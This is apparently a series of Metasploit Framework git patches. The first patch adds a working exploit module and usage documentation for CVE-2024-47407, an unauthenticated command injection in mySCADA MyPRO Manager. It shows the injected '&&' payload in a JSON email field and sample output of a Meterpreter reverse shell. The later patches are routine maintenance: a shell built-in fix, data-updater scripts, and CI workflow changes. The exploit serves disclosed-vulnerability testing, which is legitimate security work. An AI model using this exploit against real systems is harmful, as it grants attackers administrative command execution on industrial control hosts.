From 37c148cc7c00b7f9d29c37515b3ad82a70c77b91 Mon Sep 17 00:00:00 2001 From: h4x-x0r <152236528+h4x-x0r@users.noreply.github.com> Date: Wed, 13 Nov 2024 03:55:17 +0000 Subject: [PATCH 01/37] CVE-2024-47407 CVE-2024-47407 --- .../exploit/windows/scada/mypro_mgr_cmd.md | 61 ++++++++++ .../exploits/windows/scada/mypro_mgr_cmd.rb | 112 ++++++++++++++++++ 2 files changed, 173 insertions(+) create mode 100644 documentation/modules/exploit/windows/scada/mypro_mgr_cmd.md create mode 100644 modules/exploits/windows/scada/mypro_mgr_cmd.rb diff --git a/documentation/modules/exploit/windows/scada/mypro_mgr_cmd.md b/documentation/modules/exploit/windows/scada/mypro_mgr_cmd.md new file mode 100644 index 0000000000..e14fe387e5 --- /dev/null +++ b/documentation/modules/exploit/windows/scada/mypro_mgr_cmd.md @@ -0,0 +1,61 @@ +## Vulnerable Application + +**Vulnerability Description** + +This module exploits a command injection vulnerability in mySCADA MyPRO Manager <= v1.2 (CVE-2024-47407). + +An unauthenticated remote attacker can exploit this vulnerability to inject arbitrary OS commands, which will get executed in the context of +`myscada9`, an administrative user that is automatically added by the product during installation. + +Versions <= 1.2 are affected. CISA published [ICSA-24-326-07](https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07) to cover +the security issues. The official changelog from the vendor for the updated version is available +[here](https://www.myscada.org/docs/5-11-2024/). + +**Vulnerable Application Installation** + +A trial version of the software can be obtained from [the vendor](https://www.myscada.org/mypro/). + +**Successfully tested on** + +- mySCADA MyPRO Manager 1.2 on Windows 11 (10.0 Build 22621) + +## Verification Steps + +1. Install the application +2. After installation, reboot the system and wait some time until a runtime (e.g., 9.2.1) has been fetched and installed. +3. Start `msfconsole` and run the following commands: + +``` +msf6 > use exploit/windows/scada/mypro_mgr_cmd +msf6 exploit(windows/scada/mypro_mgr_cmd) > set RHOSTS +msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit +``` + +You should get a meterpreter session in the context of `myscada9`. + +## Scenarios + +Running the exploit against MyPRO Manager v1.2 on Windows 11, using curl as a fetch command, should result in an output similar to the +following: + +``` +msf6 exploit(windows/scada/mypro_mgr_cmd) > exploit + +[*] Started reverse TCP handler on 192.168.1.227:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] Sending stage (201798 bytes) to 192.168.1.228 +[*] Meterpreter session 1 opened (192.168.1.227:4444 -> 192.168.1.228:50472) at 2025-01-29 12:38:39 -0500 +[*] Exploit finished, check thy shell. + +meterpreter > getuid +Server username: asdf\myscada9 +meterpreter > sysinfo +Computer : asdf +OS : Windows 11 (10.0 Build 22621). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 3 +Meterpreter : x64/windows +``` diff --git a/modules/exploits/windows/scada/mypro_mgr_cmd.rb b/modules/exploits/windows/scada/mypro_mgr_cmd.rb new file mode 100644 index 0000000000..d427e1bde9 --- /dev/null +++ b/modules/exploits/windows/scada/mypro_mgr_cmd.rb @@ -0,0 +1,112 @@ +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)', + 'Description' => %q{ + Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA. + The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module + 'References' => [ + [ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'], + [ 'CVE', '2024-47407'] + ], + 'DisclosureDate' => '2024-11-21', + 'DefaultOptions' => { + 'RPORT' => 34022, + 'SSL' => 'False' + }, + 'Platform' => 'win', + 'Arch' => [ ARCH_CMD ], + 'Targets' => [ + [ + 'Windows_Fetch', + { + 'Arch' => [ ARCH_CMD ], + 'Platform' => 'win', + 'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' }, + 'Type' => :win_fetch + } + ] + ], + 'DefaultTarget' => 0, + + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new( + 'TARGETURI', + [ true, 'The URI for the MyPRO Manager web interface', '/' ] + ) + ] + ) + end + + def check + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js') + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + return CheckCode::Unknown + end + + if res.to_s =~ /const v="([^"]+)"/ + version = ::Regexp.last_match(1) + vprint_status('Version retrieved: ' + version) + + if Rex::Version.new(version) <= Rex::Version.new('1.2') + return CheckCode::Appears + else + return CheckCode::Safe + end + else + return CheckCode::Unknown + end + end + + def exploit + execute_command(payload.encoded) + end + + def execute_command(cmd) + exec_mypro_mgr(cmd) + print_status('Exploit finished, check thy shell.') + end + + def exec_mypro_mgr(cmd) + post_data = { + 'command' => 'testEmail', + 'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd}" + } + + post_json = JSON.generate(post_data) + + res = send_request_cgi({ + 'method' => 'POST', + 'ctype' => 'application/json', + 'data' => post_json, + 'uri' => normalize_uri(target_uri.path, 'get') + }) + + if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout. + print_good('Command successfully executed, check your shell.') + end + end + +end From 54bec338c3aa987eda51d569d3532b5cab060819 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sun, 15 Dec 2024 18:06:33 -0500 Subject: [PATCH 02/37] Fix overlap of shell built-in commands with host's When a shell session is established against a system which offers limited shells, its very common to run into something like "help" being a native command in the target. MSF now intercepts those as built-ins and presents the MSF shell help instead of letting the user see the relevant output from the target. Implement a fix by allowing the user to prepend built-ins with '.' to pass-through execution of the intended command (such as '.help' being executed as 'help') to the target. Testing: Local testing with racadm SSH shell - works as intended --- lib/msf/base/sessions/command_shell.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index ab8df3a759..181c118bb9 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -621,8 +621,13 @@ Shell Banner: end # Built-in command - if commands.key?(method) - return run_builtin_cmd(method, arguments) + if commands.key?(method) or ( not method.nil? and method[0] == '.' and commands.key?(method[1..-1])) + # Handle overlapping built-ins with actual shell commands by prepending '.' + if method[0] == '.' and commands.key?(method[1..-1]) + return shell_write(cmd[1..-1] + command_termination) + else + return run_builtin_cmd(method, arguments) + end end # User input is not a built-in command, write to socket directly From df6bd846e5a6480a96e23e5db39c4897533fa4d5 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sun, 15 Dec 2024 18:28:18 -0500 Subject: [PATCH 03/37] Add . prefix tip to shell command help --- lib/msf/base/sessions/command_shell.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index 181c118bb9..6088130c11 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -202,6 +202,8 @@ Shell Banner: tbl << [key, value] end + tbl << ['.', "Prefix any built-in command on this list with a '.' to execute in the underlying shell (ex: .help)"] + print(tbl.to_s) end From d0a4d57883a9185176727f5d4573ad5693314ab5 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 30 Dec 2024 15:02:47 -0500 Subject: [PATCH 04/37] weekly updater action --- .../weekly-data-and-external-tool-updater.yml | 0 tools/dev/update_joomla_components.py | 16 --- tools/dev/update_joomla_components.rb | 78 ++++++++++++ tools/dev/update_user_agent_strings.rb | 112 ++++++++++++++++++ tools/dev/update_wordpress_vulnerabilities.rb | 7 +- 5 files changed, 193 insertions(+), 20 deletions(-) create mode 100644 .github/workflows/weekly-data-and-external-tool-updater.yml delete mode 100755 tools/dev/update_joomla_components.py create mode 100644 tools/dev/update_joomla_components.rb create mode 100644 tools/dev/update_user_agent_strings.rb diff --git a/.github/workflows/weekly-data-and-external-tool-updater.yml b/.github/workflows/weekly-data-and-external-tool-updater.yml new file mode 100644 index 0000000000..e69de29bb2 diff --git a/tools/dev/update_joomla_components.py b/tools/dev/update_joomla_components.py deleted file mode 100755 index 3aa0ae1be2..0000000000 --- a/tools/dev/update_joomla_components.py +++ /dev/null @@ -1,16 +0,0 @@ -#!/usr/bin/python3 -import requests - -new_com = requests.get("https://raw.githubusercontent.com/rezasp/joomscan/master/exploit/db/componentslist.txt").text -with open('data/wordlists/joomla.txt', 'r') as j: - old = j.read().splitlines() - -for com in new_com.splitlines(): - if not 'components/%s/'%(com) in old: - old.append('components/%s/'%(com)) - print('[+] Adding: components/%s/'%(com)) - -old.sort() -with open('data/wordlists/joomla.txt', 'w') as j: - j.write('\n'.join(old)) - j.write('\n') diff --git a/tools/dev/update_joomla_components.rb b/tools/dev/update_joomla_components.rb new file mode 100644 index 0000000000..f19c0cc069 --- /dev/null +++ b/tools/dev/update_joomla_components.rb @@ -0,0 +1,78 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- + +# +# by h00die +# + +require 'optparse' +require 'net/http' +require 'uri' +optparse = OptionParser.new do |opts| + opts.banner = 'Usage: ruby tools/dev/update_joomla_components.rb [options]' + opts.separator "This program updates data/wordlists/joomla.txt which is used by modules/auxiliary/scanner/http/joomla_scanner.rb to have the most up-to-date list of vuln components" + opts.separator "" + opts.on('-h', '--help', 'Display this screen.') do + puts opts + exit + end +end +optparse.parse! + +# colors and puts templates from msftidy.rb + +class String + def red + "\e[1;31;40m#{self}\e[0m" + end + + def yellow + "\e[1;33;40m#{self}\e[0m" + end + + def green + "\e[1;32;40m#{self}\e[0m" + end + + def cyan + "\e[1;36;40m#{self}\e[0m" + end +end + +# +# Display an error message, given some text +# +def error(txt) + puts "[#{'ERROR'.red}] #{cleanup_text(txt)}" +end + +# +# Display a warning message, given some text +# +def warning(txt) + puts "[#{'WARNING'.yellow}] #{cleanup_text(txt)}" +end + +# +# Display a info message, given some text +# +def info(txt) + puts "[#{'INFO'.cyan}] #{cleanup_text(txt)}" +end + +uri = URI.parse('https://raw.githubusercontent.com/rezasp/joomscan/master/exploit/db/componentslist.txt') +new_com = Net::HTTP.get(uri) + +old = File.read('data/wordlists/joomla.txt').split("\n") + +new_com.each_line do |com| + unless old.include?("components/#{com.strip}/") + old << "components/#{com.strip}/" + info "Adding: components/#{com.strip}/" + end +end + +old.sort! +File.open('data/wordlists/joomla.txt', 'w') do |file| + file.puts old +end \ No newline at end of file diff --git a/tools/dev/update_user_agent_strings.rb b/tools/dev/update_user_agent_strings.rb new file mode 100644 index 0000000000..929cc65925 --- /dev/null +++ b/tools/dev/update_user_agent_strings.rb @@ -0,0 +1,112 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- + +require 'optparse' +require 'net/http' +require 'uri' +optparse = OptionParser.new do |opts| + opts.banner = 'Usage: ruby tools/dev/update_user_agent_strings.rb [options]' + opts.separator "This program updates lib/rex/user_agent.rb so Metasploit uses the most up-to-date User Agent strings across the framework." + opts.separator "" + opts.on('-h', '--help', 'Display this screen.') do + puts opts + exit + end +end +optparse.parse! + +# colors and puts templates from msftidy.rb + +class String + def red + "\e[1;31;40m#{self}\e[0m" + end + + def yellow + "\e[1;33;40m#{self}\e[0m" + end + + def green + "\e[1;32;40m#{self}\e[0m" + end + + def cyan + "\e[1;36;40m#{self}\e[0m" + end +end + +# +# Display an error message, given some text +# +def error(txt) + puts "[#{'ERROR'.red}] #{cleanup_text(txt)}" +end + +# +# Display a warning message, given some text +# +def warning(txt) + puts "[#{'WARNING'.yellow}] #{cleanup_text(txt)}" +end + +# +# Display a info message, given some text +# +def info(txt) + puts "[#{'INFO'.cyan}] #{cleanup_text(txt)}" +end + +def cleanup_text(txt) + # remove line breaks + txt = txt.gsub(/[\r\n]/, ' ') + # replace multiple spaces by one space + txt.gsub(/\s{2,}/, ' ') +end + +def replace_agent_string(lines, replace_marker, url, regex) + valid_chars = 'a-zA-Z0-9\(\);:\.,/_ ' + regex = regex.gsub('{VALID_CHARS}', valid_chars) + info "Checking: #{replace_marker}" + + index = lines.index { |line| line.include?(replace_marker) } + raise "Couldn't find marker #{replace_marker}" if index.nil? + + uri = URI(url) + response = Net::HTTP.get_response(uri) + raise "Can't retrieve #{url}" unless response.is_a?(Net::HTTPSuccess) + + match = response.body.match(/#{regex}/) + raise "Couldn't match regex #{regex}" if match.nil? + + new_string = match[1] + + old_line = lines[index] + if old_line.include?("'#{new_string}'") + puts " (Unchanged): #{new_string}" + else + new_line = old_line.gsub(/'(.*)'/, "'#{new_string}'") + if old_line == new_line + raise " Line didn't change: #{old_line}" + end + puts " New value is: #{new_string}" + lines[index] = new_line + end +end + +chrome_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/chrome" +edge_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/edge" +safari_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/safari" +firefox_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/firefox" + +user_agent_filename = 'lib/rex/user_agent.rb' +lines = File.read(user_agent_filename).split("\n") + +replace_agent_string(lines, 'Chrome Windows', chrome_url, 'Chrome \\(Standard\\)\s*\s*
    \s*
  • ([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)') +replace_agent_string(lines, 'Chrome MacOS', chrome_url, 'Chrome \\(Standard\\)\s*\s*
      \s*
    • ([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)') +replace_agent_string(lines, 'Edge Windows', edge_url, 'Edge \\(Standard\\)\s*\s*
        \s*
      • ([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)') +replace_agent_string(lines, 'Safari iPad', safari_url, '\s*Safari on Ipad\s*\s*\s*
          \s*
        • ([{VALID_CHARS}]*iPad[{VALID_CHARS}]*)') +replace_agent_string(lines, 'Safari MacOS', safari_url, 'Safari \\(Standard\\)\s*\s*
            \s*
          • ([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)') +replace_agent_string(lines, 'Firefox Windows', firefox_url, '\s*Firefox on Windows\s*\s*\s*
              \s*
            • ([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)') +replace_agent_string(lines, 'Firefox MacOS', firefox_url, '\s*Firefox on Macos\s*\s*\s*
                \s*
              • ([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)') + +File.write(user_agent_filename, lines.join("\n") + "\n") diff --git a/tools/dev/update_wordpress_vulnerabilities.rb b/tools/dev/update_wordpress_vulnerabilities.rb index 455596065a..d30bef8f44 100755 --- a/tools/dev/update_wordpress_vulnerabilities.rb +++ b/tools/dev/update_wordpress_vulnerabilities.rb @@ -1,9 +1,6 @@ #!/usr/bin/env ruby # -*- coding: binary -*- -# -# Update modules/auxiliary/scanner/http/wordpress_scanner.rb to have the most -# up to date list of vuln components based on exploits/scanners in the framework # # by h00die # @@ -12,7 +9,9 @@ require 'optparse' options = {} optparse = OptionParser.new do |opts| - opts.banner = 'Usage: update_wordpress_vulnerabilities.rb [options]' + opts.banner = 'Usage: ruby tools/dev/update_wordpress_vulnerabilities.rb [options]' + opts.separator "This program updates data/wordlists/wp-exploitable-themes.txt and wp-exploitable-plugins.txt which are used by modules/auxiliary/scanner/http/wordpress_scanner.rb to have the most up-to-date list of vuln components" + opts.separator "" opts.on('-h', '--help', 'Display this screen.') do puts opts exit From 967c9b36e291bf26957234f77e87f86ea6601e96 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 30 Dec 2024 15:06:23 -0500 Subject: [PATCH 05/37] update permissions --- .../weekly-data-and-external-tool-updater.yml | 96 +++++++++++++++++++ 1 file changed, 96 insertions(+) diff --git a/.github/workflows/weekly-data-and-external-tool-updater.yml b/.github/workflows/weekly-data-and-external-tool-updater.yml index e69de29bb2..1563d66a7d 100644 --- a/.github/workflows/weekly-data-and-external-tool-updater.yml +++ b/.github/workflows/weekly-data-and-external-tool-updater.yml @@ -0,0 +1,96 @@ +name: Weekly Data and External Tool Updater + +# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions +permissions: + actions: none + checks: none + contents: none + deployments: none + id-token: none + issues: none + discussions: none + packages: none + pages: none + pull-requests: write + repository-projects: none + security-events: none + statuses: none + +on: + schedule: + # Run once a week (e.g., every Monday at 01:00 UTC) + - cron: '0 1 * * 1' + workflow_dispatch: # Allows manual triggering from the Actions tab + +jobs: + update-data-files: + runs-on: ubuntu-latest + + env: + BUNDLE_WITHOUT: "coverage development pcap" + + strategy: + fail-fast: true + matrix: + ruby: + - '3.1' + + steps: + - name: Install system dependencies + run: sudo apt-get install libpcap-dev graphviz + + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - uses: ruby/setup-ruby@v1 + with: + ruby-version: '${{ matrix.ruby }}' + bundler-cache: true + + - name: Run Ruby updater scripts + run: | + ruby tools/dev/update_wordpress_vulnerabilities.rb + ruby tools/dev/update_joomla_components.rb + ruby tools/dev/update_user_agent_strings.rb + ruby tools/dev/check_external_scripts.rb -u + - name: Remove vendor folder # prevent git from adding it + run: rm -rf vendor + + - name: Create Pull Request + uses: peter-evans/create-pull-request@v7 + with: + token: ${{ secrets.GITHUB_TOKEN }} + commit-message: Update report + base: master + branch: weekly-updates + committer: github-actions[bot] + author: github-actions[bot] + title: "Weekly Data Update" + draft: false + body: | + This pull request was created automatically by a GitHub Action to update data files and external scripts. + The following tools were run: + - ruby tools/dev/update_wordpress_vulnerabilities.rb + - ruby tools/dev/update_joomla_components.rb + - ruby tools/dev/update_user_agent_strings.rb + - ruby tools/dev/check_external_scripts.rb -u + ## Verification + ### Wordpress/Joomla Files + - [ ] Do a sanity check, do the additions look legit? + - [ ] Start `msfconsole` + - [ ] `use modules/auxiliary/scanner/http/wordpress_scanner` + - [ ] **Verify** it runs + ### JTR Files + - [ ] Do a sanity check, do the additions look legit? + - [ ] See https://docs.metasploit.com/docs/using-metasploit/intermediate/hashes-and-password-cracking.html#example-hashes for hashes and cracking + ### SharpHound + - [ ] Start `msfconsole` + - [ ] get a shell on a DC or box connected to a dc + - [ ] `use post/windows/gather/bloodhound` + - [ ] `set session` + - [ ] `run` + - [ ] **Verify** it runs w/o erroring + - [ ] `set method disk` + - [ ] **Verify** it runs w/o erroring \ No newline at end of file From 1462875819b789fedc171ce95ba2e6bd5b1cf836 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 1 Jan 2025 22:39:00 -0500 Subject: [PATCH 06/37] remove UA updater python script in favor of ruby script --- tools/dev/update_user_agent_strings.py | 56 -------------------------- 1 file changed, 56 deletions(-) delete mode 100644 tools/dev/update_user_agent_strings.py diff --git a/tools/dev/update_user_agent_strings.py b/tools/dev/update_user_agent_strings.py deleted file mode 100644 index 92da521239..0000000000 --- a/tools/dev/update_user_agent_strings.py +++ /dev/null @@ -1,56 +0,0 @@ -#!/usr/bin/python3 -import requests -import re - -def replace_agent_string(lines, replace_marker, url, regex): - VALID_CHARS = 'a-zA-Z0-9\\(\\);:\\.,/_ ' - regex = regex.replace('{VALID_CHARS}', VALID_CHARS) - print(f'Updating {replace_marker}') - for x in range(0, len(lines)): - if replace_marker in lines[x]: - break - else: - raise RuntimeError(f"Couldn't find marker {replace_marker}") - - response = requests.get(url) - if response.status_code != 200: - raise RuntimeError(f"Can't retrieve {url}") - - match = re.search(regex, response.text) - if match is None: - raise RuntimeError(f"Couldn't match regex {regex}") - - new_string = match.groups()[0] - print(f'New value is: {new_string}') - old_line = lines[x] - if f"'{new_string}'" in old_line: - print('(This is unchanged from the previous value)') - else: - new_line = re.sub("'(.*)'", f"'{new_string}'", old_line) - if old_line == new_line: - raise RuntimeError(f"Line didn't change: {old_line}") - - lines[x] = new_line - - -chrome_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/chrome" -edge_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/edge" -safari_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/safari" -firefox_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/firefox" - -user_agent_filename = 'lib/rex/user_agent.rb' -with open(user_agent_filename,'r') as f: - lines = f.read().splitlines() - -replace_agent_string(lines, 'Chrome Windows', chrome_url, 'Chrome \\(Standard\\)\\s*\\s*
                  \\s*
                • ([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)') -replace_agent_string(lines, 'Chrome MacOS', chrome_url, 'Chrome \\(Standard\\)\\s*\\s*
                    \\s*
                  • ([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)') -replace_agent_string(lines, 'Edge Windows', edge_url, 'Edge \\(Standard\\)\\s*\\s*
                      \\s*
                    • ([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)') -replace_agent_string(lines, 'Safari iPad', safari_url, '\\s*Safari on Ipad\\s*\\s*\\s*
                        \\s*
                      • ([{VALID_CHARS}]*iPad[{VALID_CHARS}]*)') -replace_agent_string(lines, 'Safari MacOS', safari_url, 'Safari \\(Standard\\)\\s*\\s*
                          \\s*
                        • ([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)') -replace_agent_string(lines, 'Firefox Windows', firefox_url, '\\s*Firefox on Windows\\s*\\s*\\s*
                            \\s*
                          • ([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)') -replace_agent_string(lines, 'Firefox MacOS', firefox_url, '\\s*Firefox on Macos\\s*\\s*\\s*
                              \\s*
                            • ([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)') - -with open(user_agent_filename, 'w') as f: - f.write('\n'.join(lines) + '\n') - -print('Done') From 1b50e60a26ca474c5c79e166bfcda70624fda69a Mon Sep 17 00:00:00 2001 From: cgranleese-r7 Date: Thu, 23 Jan 2025 14:11:09 +0000 Subject: [PATCH 07/37] Updates meterpreter pipeline to now build the payloads gem --- .../shared_meterpreter_acceptance.yml | 106 +++++++++--------- .../Payload-Testing.md | 12 +- 2 files changed, 60 insertions(+), 58 deletions(-) diff --git a/.github/workflows/shared_meterpreter_acceptance.yml b/.github/workflows/shared_meterpreter_acceptance.yml index e595308e26..5b37cabd84 100644 --- a/.github/workflows/shared_meterpreter_acceptance.yml +++ b/.github/workflows/shared_meterpreter_acceptance.yml @@ -30,11 +30,11 @@ on: type: boolean jobs: - # Compile Java Meterpreter via docker if required, we can't always do this on the + # Compile the Meterpreter payloads via docker if required, we can't always do this on the # host environment (i.e. for macos). So it instead gets compiled first on a linux # host, then the artifacts are copied back to the host later - java_meterpreter_compilation: - name: Compile Java Meterpreter + meterpreter_compilation: + name: Compile Meterpreter runs-on: ubuntu-latest if: ${{ inputs.build_metasploit_payloads }} @@ -46,21 +46,22 @@ jobs: path: metasploit-payloads ref: ${{ inputs.metasploit_payloads_commit }} - - name: Build Java and Android payloads + - name: Build Meterpreter payloads run: | - mkdir $(pwd)/java-artifacts - docker run --rm -w "$(pwd)" -v "$(pwd):$(pwd)" rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "set -x && cd metasploit-payloads/java && mvn package -Dandroid.sdk.path=/usr/local/android-sdk -Dandroid.release=true -Ddeploy.path=../../java-artifacts -Dmaven.test.skip=true -P deploy && mvn -Dmaven.test.skip=true -Ddeploy.path=../../java-artifacts -P deploy package" + mkdir $(pwd)/meterpreter-artifacts + docker run --rm -w $(pwd) -v $(pwd):$(pwd) rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "cd metasploit-payloads/gem && rake create_dir && rake win_copy && rake php_prep && rake java_prep && rake python_prep && rake create_manifest && rake build" + cp $(pwd)/metasploit-payloads/gem/pkg/metasploit-payloads-* $(pwd)/meterpreter-artifacts - - name: Store Java artifacts + - name: Store Meterpreter artifacts uses: actions/upload-artifact@v4 with: - name: java-artifacts - path: java-artifacts + name: meterpreter-artifacts + path: meterpreter-artifacts # Run all test individually, note there is a separate final job for aggregating the test results test: - needs: java_meterpreter_compilation - if: always() && (needs.java_meterpreter_compilation.result == 'success' || needs.java_meterpreter_compilation.result == 'skipped') + needs: meterpreter_compilation + if: always() && (needs.meterpreter_compilation.result == 'success' || needs.meterpreter_compilation.result == 'skipped') strategy: fail-fast: false @@ -208,28 +209,28 @@ jobs: working-directory: metasploit-framework - uses: actions/download-artifact@v4 - name: Download Java meterpreter - id: download_java_meterpreter - if: ${{ matrix.meterpreter.name == 'java' && inputs.build_metasploit_payloads }} + name: Download Meterpreter + id: download_meterpreter + if: ${{ matrix.meterpreter.name != 'mettle' && inputs.build_metasploit_payloads }} with: # Note: Not specifying a name will download all artifacts from the previous workflow jobs path: raw-data - - name: Extract Java Meterpreter (Unix) - if: ${{ matrix.meterpreter.name == 'java' && runner.os != 'Windows' && inputs.build_metasploit_payloads }} + - name: Extract Meterpreter (Unix) + if: ${{ matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' && inputs.build_metasploit_payloads }} shell: bash run: | set -x - download_path=${{steps.download_java_meterpreter.outputs.download-path}} - cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data + download_path=${{steps.download_meterpreter.outputs.download-path}} + cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework - - name: Extract Java Meterpreter (Windows) - if: ${{ matrix.meterpreter.name == 'java' && runner.os == 'Windows' && inputs.build_metasploit_payloads }} + - name: Extract Meterpreter (Windows) + if: ${{ matrix.meterpreter.name != 'mettle' && runner.os == 'Windows' && inputs.build_metasploit_payloads }} shell: bash run: | set -x - download_path=$(cygpath -u '${{steps.download_java_meterpreter.outputs.download-path}}') - cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data + download_path=$(cygpath -u '${{steps.download_meterpreter.outputs.download-path}}') + cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework - name: Install mettle gem if: ${{ matrix.meterpreter.name == 'mettle' && inputs.build_mettle }} @@ -250,32 +251,6 @@ jobs: path: metasploit-payloads ref: ${{ inputs.metasploit_payloads_commit }} - - name: Get metasploit-payloads version - if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} - shell: bash - run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV - working-directory: metasploit-payloads - - - name: Build metasploit-payloads gem - if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} - run: gem build ./gem/metasploit-payloads.gemspec - working-directory: metasploit-payloads - - - name: Copy metasploit-payloads gem into metasploit-framework - if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} - shell: bash - run: cp ../metasploit-payloads/metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem . - working-directory: metasploit-framework - - - name: Install metasploit-payloads gem - if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} - run: | - bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem - bundle config unset deployment - bundle update metasploit-payloads - bundle install - working-directory: metasploit-framework - - name: Build Windows payloads via Visual Studio 2019 Build (Windows) shell: cmd if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2019' && inputs.build_metasploit_payloads }} @@ -294,12 +269,39 @@ jobs: make.bat working-directory: metasploit-payloads - - name: Build PHP, Python and Windows payloads - if: ${{ (matrix.meterpreter.name == 'php' || matrix.meterpreter.name == 'python' || runner.os == 'Windows') && inputs.build_metasploit_payloads }} - run: | - make install-php install-python install-windows + - name: Get metasploit-payloads version + if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} + shell: bash + run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV working-directory: metasploit-payloads + - name: Install metasploit-payloads gem + if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} + run: | + bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem + working-directory: metasploit-framework + + - name: Remove metasploit-payloads version from metasploit-framework.gemspec + if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' }} + run: | + ruby -pi -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec + working-directory: metasploit-framework + + - name: Remove metasploit-payloads version from metasploit-framework.gemspec (Windows) + if: ${{ inputs.build_metasploit_payloads && (runner.os == 'Windows' && matrix.meterpreter.name != 'windows_meterpreter') && matrix.meterpreter.name != 'mettle' }} + shell: cmd + run: | + ruby -pi.bak -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec + working-directory: metasploit-framework + + - name: Bundle update/install metasploit-payloads gem + if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }} + run: | + bundle config unset deployment + bundle update metasploit-payloads + bundle install + working-directory: metasploit-framework + - name: Acceptance env: SPEC_HELPER_LOAD_METASPLOIT: false diff --git 